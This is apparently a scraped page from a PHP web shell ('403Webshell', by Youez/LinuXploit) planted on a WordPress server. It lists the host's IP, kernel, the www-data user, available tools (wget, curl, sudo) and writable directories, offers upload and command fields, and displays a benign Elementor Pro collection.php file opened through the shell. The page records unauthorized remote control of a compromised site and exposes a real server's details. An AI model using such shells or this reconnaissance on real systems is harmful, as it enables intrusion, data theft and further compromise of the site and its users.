403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.76
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/yme/wp-content/plugins/elementor-pro/core/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/yme/wp-content/plugins/elementor-pro/core/utils/collection.php
<?php
namespace ElementorPro\Core\Utils;

use \Elementor\Core\Utils\Collection as Collection_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

// TODO: Move to Core.
class Collection extends Collection_Base implements \JsonSerializable {

	/**
	 * Change the items key by an item field.
	 *
	 * @param string $key
	 *
	 * @return Collection
	 */
	public function key_by( $key ) {
		return $this->map_with_keys( function ( $item ) use ( $key ) {
			return [ $item->{$key} => $item ];
		} );
	}

	/**
	 * Flatten the items recursively.
	 *
	 * @return array
	 */
	public function flatten_recursive() {
		$output = [];
		$items = $this->all();

		array_walk_recursive($items, function( $item ) use ( &$output ) {
			$output[] = $item;
		} );

		return $output;
	}

	/**
	 * Run array_diff between the collection and other array or collection.
	 *
	 * @param $filter
	 *
	 * @return $this
	 */
	public function diff( $filter ) {
		if ( $filter instanceof Collection_Base ) {
			$filter = $filter->all();
		}

		return new static( array_diff( $this->all(), $filter ) );
	}

	/**
	 * Reverse the array
	 *
	 * @param false $preserve_keys
	 *
	 * @return $this
	 */
	public function reverse( $preserve_keys = false ) {
		return new static(
			array_reverse( $this->all(), $preserve_keys )
		);
	}

	/**
	 * Return a JSON serialized representation of the Collection.
	 *
	 * @return array
	 */
	#[\ReturnTypeWillChange]
	public function jsonSerialize() {
		return $this->all();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit